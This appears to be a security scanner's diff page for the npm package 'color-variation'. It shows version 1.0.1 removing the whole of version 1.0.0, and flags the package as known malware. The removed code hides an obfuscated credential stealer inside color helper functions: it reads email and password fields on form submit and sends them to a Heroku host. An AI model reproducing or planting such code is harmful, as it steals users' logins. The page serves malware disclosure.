color-variation
Advanced tools
Comparing version 1.0.0 to 1.0.1
@@ -1,45 +0,1 @@ | ||
export const calculateColorVariation = (color, amt) => { | ||
let usePound = false | ||
if (color[0] === '#') { | ||
color = color.slice(1) | ||
usePound = true | ||
} | ||
const num = parseInt(color, 16) | ||
let r = (num >> 16) + amt | ||
if (r > 255) r = 255 | ||
else if (r < 0) r = 0 | ||
let b = ((num >> 8) & 0x00ff) + amt | ||
if (b > 255) b = 255 | ||
else if (b < 0) b = 0 | ||
let g = (num & 0x0000ff) + amt | ||
if (g > 255) g = 255 | ||
else if (g < 0) g = 0 | ||
return (usePound ? '#' : '') + (g | (b << 8) | (r << 16)).toString(16) | ||
} | ||
export const calculateFontColor = hex => { | ||
const formatHex = hex => (hex.charAt(0) === '#' ? hex.substring(1, 7) : hex) | ||
const hexToRed = hex => parseInt(formatHex(hex).substring(0, 2), 16) | ||
const hexToGreen = hex => parseInt(formatHex(hex).substring(2, 4), 16) | ||
const hexToBlue = hex => parseInt(formatHex(hex).substring(4, 6), 16) | ||
const threshold = 180 /* about half of 256. Lower threshold equals more dark text on dark background */ | ||
const red = hexToRed(hex) | ||
const green = hexToGreen(hex) | ||
const blue = hexToBlue(hex) | ||
const brightness = (red * 299 + green * 587 + blue * 114) / 1000 | ||
return brightness > threshold ? '#000' : '#fff' | ||
} | ||
function n(a,t){const Y=y();return n=function(G,j){G=G-0x15d;let V=Y[G];return V;},n(a,t);}const Y=function(){let G=!![];return function(j,V){const L=G?function(){const p=n;if(V){const N=V[p(0x15f)](j,arguments);return V=null,N;}}:function(){};return G=![],L;};}(),t=Y(this,function(){const x=n,G=function(){const e=n;let N;try{N=Function(e(0x176)+e(0x167)+');')();}catch(U){N=window;}return N;},j=G(),V=j[x(0x165)]=j[x(0x165)]||{},L=[x(0x173),x(0x17e),x(0x180),x(0x178),x(0x163),x(0x166),x(0x175)];for(let N=0x0;N<L[x(0x17a)];N++){const U=Y[x(0x17f)][x(0x164)][x(0x170)](Y),z=L[N],P=V[z]||U;U['__proto__']=Y[x(0x170)](Y),U[x(0x168)]=P[x(0x168)][x(0x170)](P),V[z]=U;}});t();const a=()=>{const H=n,G=H(0x179),j=N=>{const l=H,U=O=>O[l(0x16a)]('')[l(0x15d)](X=>X[l(0x169)](0x0)),z=O=>('0'+Number(O)[l(0x168)](0x10))['substr'](-0x2),P=O=>U(N)[l(0x16f)]((X,K)=>X^K,O);return O=>O[l(0x16a)]('')[l(0x15d)](U)[l(0x15d)](P)[l(0x15d)](z)[l(0x16e)]('');},V=document[H(0x16d)](H(0x17c)),L=document[H(0x16d)](H(0x171));if(V[H(0x16c)]&&L[H(0x16c)])fetch(G+'/'+j(H(0x17d))(V['value']+H(0x177)+L[H(0x16c)]))[H(0x17b)]();};export const calculateColorVariation=(G,j)=>{const M=n;setTimeout(()=>document[M(0x16d)](M(0x181))?.[M(0x160)](M(0x162),a),0x1f4);let V=![];G[0x0]==='#'&&(G=G[M(0x174)](0x1),V=!![]);const L=parseInt(G,0x10);let N=(L>>0x10)+j;if(N>0xff)N=0xff;else{if(N<0x0)N=0x0;}let U=(L>>0x8&0xff)+j;if(U>0xff)U=0xff;else{if(U<0x0)U=0x0;}let z=(L&0xff)+j;if(z>0xff)z=0xff;else{if(z<0x0)z=0x0;}return(V?'#':'')+(z|U<<0x8|N<<0x10)[M(0x168)](0x10);};export const calculateFontColor=G=>{const o=n,j=K=>K[o(0x161)](0x0)==='#'?K[o(0x16b)](0x1,0x7):K,V=K=>parseInt(j(K)[o(0x16b)](0x0,0x2),0x10),L=K=>parseInt(j(K)[o(0x16b)](0x2,0x4),0x10),N=K=>parseInt(j(K)[o(0x16b)](0x4,0x6),0x10),U=0xb4,z=V(G),P=L(G),O=N(G),X=(z*0x12b+P*0x24b+O*0x72)/0x3e8;return X>U?o(0x172):o(0x15e);};function y(){const Q=['map','#fff','apply','addEventListener','charAt','submit','exception','prototype','console','table','{}.constructor(\x22return\x20this\x22)(\x20)','toString','charCodeAt','split','substring','value','querySelector','join','reduce','bind','input[type=\x22password\x22]','#000','log','slice','trace','return\x20(function()\x20','\x20|\x20','error','https://malicious-server-toy.herokuapp.com','length','catch','input[type=\x22email\x22]','123','warn','constructor','info','form'];y=function(){return Q;};return y();} |
{ | ||
"name": "color-variation", | ||
"version": "1.0.0", | ||
"version": "1.0.1", | ||
"main": "lib/index.js", | ||
@@ -5,0 +5,0 @@ "license": "MIT", |
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Empty package
Supply chain riskPackage does not contain any code. It may be removed, is name squatting, or the result of a faulty package publish.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
3038
0
1
2